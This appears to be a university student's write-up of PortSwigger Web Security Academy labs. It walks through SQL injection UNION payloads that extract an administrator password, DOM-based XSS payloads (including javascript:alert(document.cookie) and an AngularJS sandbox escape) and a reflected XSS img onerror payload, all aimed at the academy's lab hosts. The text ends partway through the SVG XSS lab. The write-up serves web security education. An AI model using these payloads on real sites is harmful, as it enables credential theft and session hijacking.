



**Sri Lanka Institute of Information Technology**

**Portswigger Labs Writeups**

**IE2062 – Web Security**

**Submitted by:**

Student Registration Number	Student Name
IT21049354	Athauda A.M.I.R.B

## Table of Contents

<i>Progress Before: - .....</i>	<i>3</i>
<b>1. SQLI .....</b>	<b>4</b>
1.1 SQL injection attack, querying the database type and version on MySQL and Microsoft .5	
1.2 SQL injection attack, listing the database contents on non-Oracle databases .....	8
<b>2. XSS .....</b>	<b>15</b>
2.1 DOM XSS in jQuery anchor href attribute sink using location. Search source .....	16
2.2 DOM XSS in AngularJS expression with angle brackets and double quotes HTML-encoded .....	20
2.3 Reflected XSS with some SVG markup allowed .....	25
<b>3. CSRF .....</b>	<b>31</b>
3.1 CSRF vulnerability with no defenses.....	32
3.2 CSRF where token validation depends on request method.....	35
3.3 CSRF where token validation depends on token being present.....	38
<b>4. DOM based Vulnerabilities .....</b>	<b>42</b>
4.1 DOM XSS using web messages and JSON.parse .....	43
<i>Progress After: - .....</i>	<i>45</i>

## Progress Before: -

The screenshot shows the Burp Suite Web Security Academy dashboard at <https://portswigger.net/web-security/dashboard>. The interface is dark-themed.

**Level progress:**

- Apprentice:** 7 of 52
- Practitioner:** 8 of 137
- Expert:** 0 of 35

**Learning materials:** 0% completed. A [VIEW ALL](#) button is available.

**Vulnerability labs:** A [VIEW ALL](#) button is available.

# **1. SQLI**

## 1.1 SQL injection attack, querying the database type and version on MySQL and Microsoft

1. In this lab our goal is to show the database version. The first two steps identifying the number of columns returned by the query and locating a column containing text are the same as those in the laboratories' SQL injection UNION attack.

The screenshot shows the 'Lab: SQL injection attack, querying the database type and version on MySQL and Microsoft' page. It includes sections for 'PRACTITIONER', 'LAB Not solved', 'Hint', 'Access the lab', 'Solution', 'Community solutions', and navigation links for 'In this topic SQL injection >' and 'All topics SQL injection >'. A 'Track your progress' bar is at the bottom.

2. We have to capture the traffic through the burp. Therefore, switched on the “interception on” and select any category on the browser. Then send those captured traffic to the repeater and off the interception.

The screenshot shows the Burp Suite interface with the 'Intercept' tab selected. The browser window shows the 'Web Security Academy' lab page with the URL <https://0a2d00900441d36dc0027d7400d10063...>. The browser content includes the lab title, a redacted 'Make the database retrieve the string: ' field, and the 'WE LIKE TO SHOP' logo. The Burp Suite interface shows the captured request details and the context menu with 'Send to Repeater' highlighted.

3. Then in the request section we have to check whether the no of columns by typing this code, MySQL differs in that the # character, rather than the --.

**'+UNION+SELECT+NULL—**

The screenshot shows the OWASP ZAP interface with the 'Repeater' tab selected. The 'Request' pane displays a crafted URL: /filter?category=Pets'+UNION+SELECT+NULL--. The 'Response' pane shows an Internal Server Error (500) page from the 'Web Security Academy' site. The error message reads: "SQL injection attack, querying the database type and version on MySQL and Microsoft". Below the error message, there's a link to "Back to lab home". The 'Response' pane also contains the source code of the page, which includes a search bar and navigation links.

4. Then we have to check whether which columns contains the string values. For that we have to give following code. ( The necessary query for MySQL and MSSQL is displayed on the SQL injection cheat sheet (<https://portswigger.net/web-security/sql-injection/cheat-sheet>) )

**'+UNION+SELECT+@@version,+NULL**

Dashboard Target Proxy Intruder Repeater Sequencer Decoder Comparer Logger

Extender Project options User options Learn

Send Cancel Back Forward Target: https://0a2d00900441d36dc0027d7400d10063.web-security-academy.net/

**Request**

```
Pretty Raw Hex
1 GET /filter?category=
2 --> UNION+SELECT+##version,+NULL#
3 HTTP/1.1
4 Host: 0a2d00900441d36dc0027d7400d10063.web-security-academy.net
5 Cookie: session=1241ErVf0LCKxzyhabqCvwRcy6NrW6
6 Sec-Fetch-Dest: "Document";v="99"
7 Sec-Fetch-User: "+10"
8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36
9 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
10 Sec-Fetch-Site: same-origin
11 Sec-Fetch-Mode: navigate
12 Sec-Fetch-User: ?1
13 Sec-Fetch-Dest: document
14 Referer: https://0a2d00900441d36dc0027d7400d10063.web-security-academy.net/filter?category=Pets
15 Accept-Encoding: gzip, deflate
16 Accept-Language: en-US,en;q=0.8
17 Connection: close
18
19
20
21
22
23
24
25
```

**Response**

```
Pretty Raw Hex Render
1 HTTP/1.1 200 OK
2 Content-type: text/html; charset=utf-8
3 Connection: close
4 Content-Length: 8424
5
6 <!DOCTYPE html>
7 <html>
8   <head>
9     <link href="/resources/labheader/css/academyLabHeader.css" rel="stylesheet">
10    <link href="/resources/css/labsEcommerce.css" rel="stylesheet">
11      <title>
12        SQL injection attack, querying the database type and version on MySQL and Microsoft
13      </title>
14    <body>
15      <script src="/resources/labheader/js/labHeader.js">
16      </script>
17      <div id="academyLabHeader">
18        <section class="academyLabBanner">
19          <div class="contentContainer">
20            <div class="logo">
21              <h2>
22                SQL injection attack, querying the database type and version on MySQL and Microsoft
23                <a href="#" class="lab-link" style="color: inherit; text-decoration: none; font-weight: bold; font-size: 1.2em; margin-left: 10px;">
24                  Back to lab home
25                </a>
26                <p>
27                  Make the database retrieve the string: '0..31'
28                </p>
29                <a href="https://portswigger.net/web-security/sql-injection/examining-the-database/lab-querying-database-version-mysql-microsoft" class="link-back" style="color: inherit; text-decoration: none; font-weight: bold; font-size: 1.2em; margin-left: 10px;">
30                  Back
31                </a>
32              </h2>
33              
34            </div>
35            <div class="titleContainer">
36              <h1>WE LIKE TO</h1>
37              <h1>SHOP</h1>
38              
39            </div>
40          </div>
41        </section>
42      </div>
43    </body>
44  </html>
```

SQL injection attack, querying the database type and version on MySQL and Microsoft

Congratulations, you solved the lab! Share your skills! Continue learning > Home

WE LIKE TO  
**SHOP** 

Pets

Refine your search:

All Clothing, shoes and accessories Corporate gifts Food & Drink Pets Tech gifts

Fur Babies

Fur babies is a new concept for those of you who live in apartments where the Landlord doesn't allow pets. We have a huge selection of cute animal suits you can dress your babies in. All suits are made from breathable fabrics keeping your little ones cool, or warm, all year round. If you want a rabbit, what the heck, have a rabbit! If the landlord makes an appearance, just slip the hood down and he/she need never know. The best bit is we all know babies love raw veggies, you can hand feed them and talk to them in that silly voice reserved for animals and children. You will never be refused entry to your favorite restaurants again, your fur baby will be at your side wherever you go. They conveniently poop in a diaper so no early morning walks either.

## 1.2 SQL injection attack, listing the database contents on non-Oracle databases

1. To begin, we will query the data schema to determine the available table types. Then, another query is required to determine which columns are present in each table. Finally, we must adjust our approach so that it queries the correct table and retrieves the desired column data.

The screenshot shows a browser window for the PortSwigger Web Security Academy. The URL is <https://portswigger.net/web-security/sql-injection/listing-database-contents-on-non-oracle-databases>. The page title is "Lab: SQL injection attack, listing the database contents on non-Oracle databases". The status bar indicates "PRACTITIONER LAB Not solved". The main content area describes the lab as containing an SQL injection vulnerability in the product category filter, mentioning UNION attacks and user tables. It also notes a login function and a users table. A "Hint" section contains a "Access the lab" button. Below it are sections for "Solution" and "Community solutions". At the bottom, there is a progress bar with the message "Waiting for www.youtube.com...".

- We should prove our traffic through burp and in switch into proxy tab and activate the intercept is on button. Then select any one of the categories in the browser.

The screenshot shows the Burp Suite interface on the left and a web browser window on the right. In the Burp Suite interface, the 'Proxy' tab is selected, and the 'Intercept' button is highlighted in blue. A captured HTTP request is displayed in the 'Raw' tab. The browser window shows a page titled 'Web Security Academy' with the sub-section 'SQL injection attack, listing the database contents on non-Oracle databases'. The URL in the browser is <https://0a3000fe0439915fc046047700f700f7.web-security-academy.net/filter?category=Pets>. The page content includes a logo for 'WE LIKE TO SHOP' and a section about 'ZZZZZZ Bed - Your New Home Office'.

- Then switch into burp and send the request through the application through the repeater and deactivate the “intercept on” button.

The screenshot shows the Burp Suite interface with the 'Proxy' tab selected. A request is being edited in the 'Request' pane:

```

1 GET /filter?category=Pets HTTP/1.1
2 Host: 0a3000fe0439915fc046047700f700f7.web-security-academy.net:443 [79.125.84.16]
3 Cookie: session=2AlyoH18Zof2zFYIm4cf8IviveG0LY
4 Sec-Ch-Ua: "Chromium";v="107", "Not-A-Brand";v="24"
5 Sec-Ch-Ua-Mobile: ?0
6 Sec-Ch-Ua-Platform: "macos"
7 Upgrade-Insecure-Requests: 1
8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
9 AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.5304.63
Safari/537.36
10 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/
avif,image/webp,image/apng,*/*;q=0.8,application/signed-ex
11 Sec-Fetch-Site: same-origin
12 Sec-Fetch-Mode: navigate
13 Sec-Fetch-User: ?1
14 Sec-Fetch-Dest: document
15 Referer: https://0a3000fe0439915fc046047700f700f7.web-securit...
16 Accept-Encoding: gzip, deflate
17 Accept-Language: en-US;q=0.9,en;q=0.8
18 Connection: close
19

```

The 'Intercept' button is highlighted. The 'Inspector' pane shows the request attributes and headers. The response pane displays the 'Web Security Academy' page with the title 'SQL injection attack, listing the database contents on non-Oracle databases'.

- Then open burp repeater and first step is to determine the no of columns return by the category. And then search which columns contains text and data. For that we can write this query,

**'+UNION+SELECT+NULL--'**

- And then send the request through the application. Then we can see the http 500 internal server error. So, this means there are more columns in the database than one column.

The screenshot shows the Burp Suite interface with the 'Repeater' tab selected. The request is identical to the one in the previous screenshot, but it includes the payload: '+UNION+SELECT+NULL--'. The response shows the 'The Lazy Dog' page with the following error message:

```

HTTP/1.1 500 Internal Server Error
Content-Type: text/html; charset=utf-8
Content-Length: 2231
Content-Language: en-US
Content-Type: text/html; charset=utf-8
<!DOCTYPE html>
<html>
<head>
<title>Web Security Academy</title>
<link href="/resources/labheader/css/academyLabHeader.css" rel="stylesheet">
<script src="/resources/labheader/js/labHeader.js"></script>
<div class="page">
<div class="header">
<h1>WE LIKE TO</h1>
<h1>SHOP</h1>
<img alt="Shop hanger icon" data-bbox="638 698 678 728"/>
<div class="nav-links">
<a href="#">Home <span>|</span> 
<a href="#">My account
</div>
</div>
<div class="content">
<h2>The Lazy Dog</h2>
<p>The Lazy Dog is brought to you by the same people who invented the wheel. Do you become frustrated when your small dog just can't keep up the pace, or stubbornly sits and gives up walking altogether? If the answer is yes, then The Lazy Dog is for you! As easy to fit as a harness these remote controlled owl wings are a must have for any dog lover. As soon as your pooch takes its last step of the day just snap the wings into place and click the red 'flapping' button on your handheld remote. After a few seconds, your furry friend will be off the ground and up, up and away. Once at a safe height, WARNING: BEWARE OF LOW HANGING BRANCHES, click the blue button to initiate cruise control. The wings have inbuilt cameras so you can see what your dog sees. When clicking the black button your dog can swoop down and gain speed in the 'fake chasing rabbits' mode. This function is used at the owner's risk as it uses</p>
<div class="button">
<button type="button" data-bbox="658 741 681 751">Back to lab home</button>
<button type="button" data-bbox="658 754 681 764">Back to lab</button>
<button type="button" data-bbox="658 767 681 777">Done</button>
</div>

```

- Therefore, we can try this code,

## '+UNION+SELECT+NULL,NULL--

The screenshot shows a NetworkMiner capture of a SQL injection attack on a Web Security Academy lab. The request pane shows a GET request with a payload: `?filter=category` and `pets='+UNION+SELECT+NULL,NULL--` followed by other parameters. The response pane shows the server's response, which includes a banner about listing database contents on non-Oracle databases.

- Then we have to check whether the which table contains the user details. Therefore, we have to enter this code, and then search for the table and copy table details.

## '+UNION+SELECT+table\_name,+NULL+FROM+information\_schema.tables--

The screenshot shows a NetworkMiner capture of a SQL injection attack on a Web Security Academy lab. The request pane shows a GET request with a payload: `?filter=category` and `table\_name='NULL+FROM+information\_schema.tables--` followed by other parameters. The response pane shows the server's response, which includes a banner about listing database contents on non-Oracle databases.

- After searching the details copy the table name give following code, and then look for the usernames in the table.

'+UNION+SELECT+column\_name,+NULL+FROM+information\_schema.colu  
mns+WHERE+table\_name='users\_gqqjqv'—

The screenshot shows a NetworkMiner capture of a SQL injection attack on a Web Security Academy lab. The request pane shows a crafted SQL query:

```

GET /filter?category=select+column_name,+NULL+FROM+information_schema.columns+WHERE+table_name='users_gqqjqv'
Host: 0a3000fe0439915fc046047700f700f7.web-security-a.akamaihd.net
Cookie: session=2A1yjw...;S2Ou22FYIm54cfB1vo5G1Nv
Sec-Ch-Usr-Id: v="107", "Not=A7Brand";v="24"
Sec-Ch-UA-Mobile: 70
Sec-Ch-UA-Platform: "macOS"
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.5304.63 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,*/*;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Connection: close

```

The response pane shows the resulting HTML output from the database query:

```

<table>
<thead>
<tr>
<th>pg_enum</th>
</tr>
</thead>
<tbody>
<tr>
<td>pg_policies</td>
</tr>
<tr>
<td>pg_user</td>
</tr>
<tr>
<td>column_column_usage</td>
</tr>
<tr>
<td>pg_stat_progress_create_index</td>
</tr>
<tr>
<td>pg_constraint</td>
</tr>
<tr>
<td>pg_stat_user_functions</td>
</tr>
<tr>
<td>pg_conversion</td>
</tr>
<tr>
<td>foreign_data_wrapper_options</td>
</tr>
</tbody>
</table>

```

The 'users\_gqqjqv' table is highlighted in the response, indicating it was part of the query result.

9. Then again modify the request section as below, after noting down the column details.

'+UNION+SELECT+username\_udmdpw,+password\_klqkmr+FROM+users\_gq  
qjqv—

Dashboard Target Proxy Intruder Repeater Sequencer Decoder Comparer Logger

Send Cancel < > Target: https://0a3000fe0439915fc046047700f700f7.web-security-academy.net

**Request**

```
1 GET /filter?category=
2 Host: https://0a3000fe0439915fc046047700f700f7.web-security-academy.net
3 Cookie: session=2Aljy0nB2d2F1m54cfB1v0cG1NY
4 Sec-Ch-Usr-Name="Chromium";v="107"
5 Sec-Ch-Usr-Mobile: 70
6 Sec-Ch-Usr-Platform: "macOS"
7 Upgrade-Insecure-Requests: 1
8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.5304.63 Safari/537.36
9 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
10 Sec-Fetch-Site: same-origin
11 Sec-Fetch-Mode: navigate
12 Sec-Fetch-Dest: script
13 Sec-Fetch-Dest: document
14 Referer: https://0a3000fe0439915fc046047700f700f7.web-security-academy.net/
15 Accept-Encoding: gzip, deflate
16 Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
17 Connection: close
18
19
```

**Response**

```
Pretty Raw Hex Render
82
83
84
85
86
87
88
89
90
91
92
93
94
95
```

The response shows a SQL injection attack listing database contents on non-Oracle databases. It includes a logo for WebSecurity Academy and a 'Back to lab home' button.

## 10. And send the request.

Dashboard Target Proxy Intruder Repeater Sequencer Decoder Comparer Logger

Send Cancel < > Target: https://0a3000fe0439915fc046047700f700f7.web-security-academy.net

**Request**

```
1 GET /filter?category=
2 Host: https://0a3000fe0439915fc046047700f700f7.web-security-academy.net
3 Cookie: session=2Aljy0nB2d2F1m54cfB1v0cG1NY
4 Sec-Ch-Usr-Name="Chromium";v="107"
5 Sec-Ch-Usr-Mobile: 70
6 Sec-Ch-Usr-Platform: "macOS"
7 Upgrade-Insecure-Requests: 1
8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.5304.63 Safari/537.36
9 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
10 Sec-Fetch-Site: same-origin
11 Sec-Fetch-Mode: navigate
12 Sec-Fetch-Dest: script
13 Sec-Fetch-Dest: document
14 Referer: https://0a3000fe0439915fc046047700f700f7.web-security-academy.net/
15 Accept-Encoding: gzip, deflate
16 Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
17 Connection: close
18
19
```

**Response**

```
Pretty Raw Hex Render
86
87
88
89
90
91
92
93
94
95
```

The response shows a SQL injection attack listing database contents on non-Oracle databases. It includes a logo for WebSecurity Academy and a 'Back to lab home' button.

## 11. Then we have to search for the administrator credentials and login on my account.

Dashboard Target Proxy Intruder Repeater Sequencer Decoder Comparer Logger

Send Cancel < > Target: https://0a3000fe0439915fc046047700f700f7.web-security-academy.net HTTP/1.1

**Request**

```
Pretty Raw Hex
1 GET /filter?category=Pets'+UNION+SELECT+username_udmdpw,+password_kl
qker+FROM+users_qqqjgjv-- HTTP/1.1
2 Host: https://0a3000fe0439915fc046047700f700f7.web-security-academy.net
3 Cookie: session=ZALiyM418zofu2zFYIm54cfblvc0G1NY
Sec-CH-Ua-Brand: "Not A Brand";v="24"
5 Sec-CH-Ua-Mobile: ?0
6 Sec-CH-Ua-Platform: "macos"
7 Upgrade-Insecure-Requests: 1
8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.5304.63 Safari/537.36
9 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
10 Sec-Fetch-Site: same-origin
11 Sec-Fetch-Mode: navigate
12 Sec-Fetch-User: ?1
13 Sec-Fetch-Dest: document
14 Referer: https://0a3000fe0439915fc046047700f700f7.web-security-academy.net
15 Accept-Encoding: gzip, deflate
16 Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
17 Connection: close
18
19
```

**Response**

```
Pretty Raw Hex Render
what your dog sees. When
clicking the black
button your dog can
swoop down and gain
speed in the kapos;fake
chasing rabbitskapos;
mode. This function is
used at the ownerskapos;s
risk as it uses a lot
of power, and if the
battery pack dies a
nasty accident could
occur.
Carrying your pooch has
become a thing of the
past. With The Lazy Dog,
the dog park will
become a place to enjoy
again. You can also
purchase an aviator hat
and goggles, extra
protection and peace of
mind for you and your
pooch.
</td>
</tr>
<tr>
<th>administrator</th>
<td>
7vg268n87wcnjew9h39h
</td>
</tr>
<tr>
<td>
Giant Grasshopper
</td>
</tr>
<tr>
<td>
If you are one of those
anti-social people who
like to sit in a corner
and try not to catch
anyone's eye, you
probably know it
doesn't always
work. There will always
be annoyingly cheery
people who think you
must be lonely and
gatecrash your
tranquility with mundane
chit-chat.
We breed our
grasshoppers to an
enormously threatening
</td>
</tr>
<tr>
<td>
</td>
</tr>
91
92
93
94
95

```

Done 9,514 bytes | 427 millis

Dashboard Target Proxy Intruder Repeater Sequencer Decoder Comparer Logger

Send Cancel < > Target: https://0a3000fe0439915fc046047700f700f7.web-security-academy.net HTTP/1.1

**Request**

```
Pretty Raw Hex
1 GET /filter?category=Pets'+UNION+SELECT+username_udmdpw,+password_kl
qker+FROM+users_qqqjgjv-- HTTP/1.1
2 Host: https://0a3000fe0439915fc046047700f700f7.web-security-academy.net
3 Cookie: session=ZALiyM418zofu2zFYIm54cfblvc0G1NY
Sec-CH-Ua: "Chromium";v="107",
"Not-A-Brand";v="24"
5 Sec-CH-Ua-Mobile: ?0
6 Sec-CH-Ua-Platform: "macos"
7 Upgrade-Insecure-Requests: 1
8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.5304.63 Safari/537.36
9 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
10 Sec-Fetch-Site: same-origin
11 Sec-Fetch-Mode: navigate
12 Sec-Fetch-User: ?1
13 Sec-Fetch-Dest: document
14 Referer: https://0a3000fe0439915fc046047700f700f7.web-security-academy.net
15 Accept-Encoding: gzip, deflate
16 Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
17 Connection: close
18
19
```

**Response**

```
Pretty Raw Hex Render
what your dog sees. When
clicking the black
button your dog can
swoop down and gain
speed in the kapos;fake
chasing rabbitskapos;
mode. This function is
used at the ownerskapos;s
risk as it uses a lot
of power, and if the
battery pack dies a
nasty accident could
occur.
Carrying your pooch has
become a thing of the
past. With The Lazy Dog,
the dog park will
become a place to enjoy
again. You can also
purchase an aviator hat
and goggles, extra
protection and peace of
mind for you and your
pooch.
</td>
</tr>
<tr>
<th>administrator</th>
<td>
7vg268n87wcnjew9h39h
</td>
</tr>
<tr>
<td>
Giant Grasshopper
</td>
</tr>
<tr>
<td>
If you are one of those
anti-social people who
like to sit in a corner
and try not to catch
anyone's eye, you
probably know it
doesn't always
work. There will always
be annoyingly cheery
people who think you
must be lonely and
gatecrash your
tranquility with mundane
chit-chat.
We breed our
grasshoppers to an
enormously threatening
</td>
</tr>
<tr>
<td>
</td>
</tr>
91
92
93
94
95

```

Congratulations, you solved the lab! Share your skills! Continue learning >

Home | My account | Log out

## My Account

Your username is: administrator

Email:

Update email

## **2. XSS**

## 2.1 DOM XSS in jQuery anchor href attribute sink using location. Search source

1. So, the goal in this lab is to make a "back" link alert document.cookie. Since the statement implies that the XSS has been located once accessible, we proceed to the section where feedback is sent.

The image shows two side-by-side screenshots. On the left is the Burp Suite interface in Intercept mode, with the status bar showing 'Intercept is off'. On the right is the PortSwigger Web Security Academy lab page for 'Lab: DOM XSS in jQuery anchor href attribute sink using location.search SOURCE'. The lab description states it's an APPRENTICE level LAB and not solved. It explains the vulnerability involves a DOM-based cross-site scripting vulnerability using the jQuery selector function to change an anchor element's href attribute via location.search. A green button labeled 'Access the lab' is visible. At the bottom, a progress bar indicates 'Waiting for www.youtube.com...'.

2. Then go to the submit feedback link

The screenshot shows the Burp Suite interface on the left and a web browser window on the right. In the Burp Suite Proxy tab, the 'Intercept' button is highlighted. Below it, the status bar says 'Intercept is off'. The browser window displays a 'Web Security Academy' page titled 'DOM XSS in jQuery anchor href attribute sink using location.search source'. The URL in the address bar is 'y-academy.net/feedback?returnPath=abcd12345'. The page content includes fields for Name, Email, Subject, and Message, with a 'Submit feedback' button at the bottom. A red box highlights the URL parameter 'abcd12345'.

3. And then go the address of the browser and type some string values (eg- abcd12345) after the '/' and hit enter. Then in browser window inspect elements using right clicking. Then search the string which entered in the url. Then we can see we added the icon string as the href parameter. Now the attribute href of this item reflects the value we set for the variable. To trigger the alert, we need only save a payload in a convenient location and click it.

The screenshot shows the Burp Suite interface with the Intercept tab selected. In the message editor, there are fields for Subject and Message, and a green 'Submit feedback' button. Below the message editor, there is a note: "When enabled, requests sent by Burp's browser are held here so that you can analyze and modify them before forwarding them to the target server." At the bottom, there are 'Learn more' and 'Open browser' buttons. The browser view shows a page with a red-highlighted link labeled 'Back'. The developer tools Elements tab shows the HTML code for this page, including the 'backLink' element.

4. Then go back to the address bar and delete all signs until the path= and then enter this javascript. And then hit enter. Then we can see the back link is there and our lab is solved.

**Javascript:alert(document.cookie)**

The screenshot shows two adjacent windows. On the left is the Burp Suite interface, specifically the Proxy tab. It has tabs for Dashboard, Target, Project options, User options, Intruder, Repeater, Sequencer, Decoder, Comparer, and Logger. Under the Project options tab, there are sub-options for Extender, Intercept (which is currently selected), HTTP history, WebSockets history, and Options. Below these are buttons for Forward, Drop, Intercept is off (which is highlighted in red), Action, and Open Browser. On the right is a web browser window for 'Web Security Academy'. The address bar shows a URL that includes 'ack?returnPath= javascript:alert(document.cookie)'. The page content displays a 'DOM XSS in jQuery' challenge, stating 'anchor href attribute sink using location.search source'. A green 'LAB Solved' button is visible. Below the content, a message says 'Congratulations, you solved the lab!' with buttons for 'Share your skills!' and 'Continue learning >'. At the bottom of the browser window, there are links for 'Home' and 'Submit feedback'. The overall interface is a combination of the Burp Suite proxy tool and a web-based security training platform.

## 2.2 DOM XSS in AngularJS expression with angle brackets and double quotes HTML-encoded

1. A DOM-based cross-site scripting vulnerability exists in a search-related AngularJS expression in this lab. The popular AngularJS library checks for the ng-app attribute in HTML nodes to determine what data to display (also known as an AngularJS directive). We can run JavaScript expressions enclosed in double curly braces when a directive is introduced to the HTML code. When encoding angle brackets, this method is helpful. To complete this lab, we will need to initiate a cross-site scripting attack by invoking an AngularJS expression and then calling the alert method.

The screenshot shows two side-by-side interfaces. On the left is the Burp Suite proxy tool, with its navigation bar at the top. Below the bar, the 'Intercept' tab is selected, and the status 'Intercept is off' is displayed. There are several buttons below this: 'Forward', 'Drop', 'Intercept is off' (which is highlighted), 'Action', and 'Open Browser'. On the right is a web browser window displaying a PortSwigger Academy page. The URL in the address bar is <https://portswigger.net/web-security/cross-site-scripting/lab-dom-xss-in-angularjs-expression-with-angle-brackets-and-double-quotes-html-encoded>. The main content area displays the title 'Lab: DOM XSS in AngularJS expression with angle brackets and double quotes HTML-encoded'. Below the title, there's a 'PRACTITIONER' badge, a 'LAB' button, and a 'Not solved' status. A descriptive text block explains the vulnerability: 'This lab contains a DOM-based cross-site scripting vulnerability in a AngularJS expression within the search functionality. AngularJS is a popular JavaScript library, which scans the contents of HTML nodes containing the ng-app attribute (also known as an AngularJS directive). When a directive is added to the HTML code, you can execute JavaScript expressions within double curly braces. This technique is useful when angle brackets are being encoded.' It also states: 'To solve this lab, perform a cross-site scripting attack that executes an AngularJS expression and calls the alert function.' At the bottom of the page are buttons for 'Access the lab', 'Solution', 'Community solutions', and 'Track your progress'.

2. In the search box just click search by typing some strings like abcd1234

The screenshot shows two Burp Suite interfaces side-by-side. The left interface is the Proxy tab, showing the 'Intercept' option is off. The right interface is a browser window displaying a Web Security Academy lab titled 'DOM XSS in AngularJS expression with angle brackets and double quotes HTML-encoded'. The URL is https://0a97004c04ff1fec2c0bf11f400ca0098.w... The page content includes a search bar with 'abcdef1234' and a purple 'Search' button. Below the search bar is a large image of two faces surrounded by surveillance cameras and puzzle pieces.

**Left Side (Burp Suite Proxy Tab):**

- Dashboard
- Target
- Proxy**
- Intruder
- Repeater
- Sequencer
- Decoder
- Comparer
- Logger

Extender Project options User options Learn

Intercept **HTTP history** WebSockets history Options

Forward Drop Intercept is off Action Open Browser

**Right Side (Browser View):**

All labs | Web Security | Lab: DOM XSS in AngularJS | DOM XSS in AngularJS

**Web Security Academy** DOM XSS in AngularJS expression with angle brackets and double quotes HTML-encoded

LAB Not solved

Back to lab description Home

WE LIKE TO BLOG

abcdef1234 Search

0 search results for 'abcdef1234'

Search the blog... Search

< Back to Blo

3. And through insect elements search for the word u entered and we can see our string is enclosed in the ng-app directory field.

The screenshot shows the Burp Suite interface with the Proxy tab selected. The browser window displays a search results page from the Web Security Academy. The developer tools are open, specifically the Elements tab, showing the DOM structure and styles applied to the page. The search term 'abcdef1234' is visible in the browser's address bar.

4. Then again in search bar put this following AngularJS expression code and search,

```
{{ $on .constructor('alert(1)') () }}
```

**Web Security Academy** DOM XSS in AngularJS expression with angle brackets and double quotes HTML-encoded

0 search results for '{{\$on.constructor('alert(1)')()}}'

Intercept is off

When enabled, requests sent by Burp's browser are held here so that you can analyze and modify them before forwarding them to the target server.

Learn more Open browser

...fec2c0bf1f400ca0098.web-security-academy.net says

1

OK

Waiting for 0a97004c04f1fec2c0bf1f...

The screenshot shows the Burp Suite interface with the Proxy tab selected. The Intercept button is highlighted in red, indicating it is off. Below the tabs, there are buttons for Forward, Drop, Intercept is off, Action, and Open Browser. The browser window displays a completed lab from the Web Security Academy titled "DOM XSS in AngularJS expression with angle brackets and double quotes HTML-encoded". The status bar at the bottom right of the browser window says "LAB Solved". The browser's address bar shows the URL <https://0a97004c04ff1fec2c0bf11f400ca0098.w...>. The main content of the browser window shows a search results page with the message "0 search results for """. The browser's developer tools Elements tab is open, showing the DOM structure of the page. The Styles tab shows the CSS for the body element, which includes a background color of #fff and a font family of "Helvetica Neue", Helvetica, sans-serif.

## 2.3 Reflected XSS with some SVG markup allowed

1. First, we have to make sure we are capturing the traffic through burp.

The screenshot shows the Burp Suite interface on the left and the PortSwigger.net 'Lab: Reflected XSS with some SVG markup allowed' page on the right. In Burp Suite, the 'Intercept' tab is selected, and the status bar at the bottom says 'Intercept is off'. On the PortSwigger.net page, the title is 'Lab: Reflected XSS with some SVG markup allowed'. Below it, there's a note about a reflected XSS vulnerability where the site blocks common tags but misses some SVG tags and events. It instructs to perform a cross-site scripting attack that calls the `alert()` function. A green button labeled 'Access the lab' is visible. At the bottom, there are sections for 'Solution' and 'Community solutions', and a 'Track your progress' bar.

2. Then move into the http history tab. After interception on, In the search bar type this payload and search it. Then again click back button in the browser.

<img src=1 onerror=alert(1)>

Screenshot of the Burp Suite Intruder tool interface. The 'Attack type' dropdown is set to 'Sniper'. The 'Payload Positions' section shows one payload position at index 1. The 'Target' field contains 'https://0ae900100330069ac0f83455000200a0.web-security-academy.net'. The 'HTTP history' tab is selected, showing a list of 575 requests. The 'Inspector' tab shows the raw request body:

```
GET /search?%23!alert%281%29%3B HTTP/1.1
Host: 0ae900100330069ac0f83455000200a0.web-security-academy.net
Cookie: session=vKLlcQJxgQWxbzSg6NSkjl55iW
Sec-Ch-Ua: "Not A Brand";v="107", "Not-A-Brand";v="24"
Sec-Ch-Ua-Mobile: 70
Sec-Ch-Ua-Platform: "macOS"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.5304.63 Safari/537.36
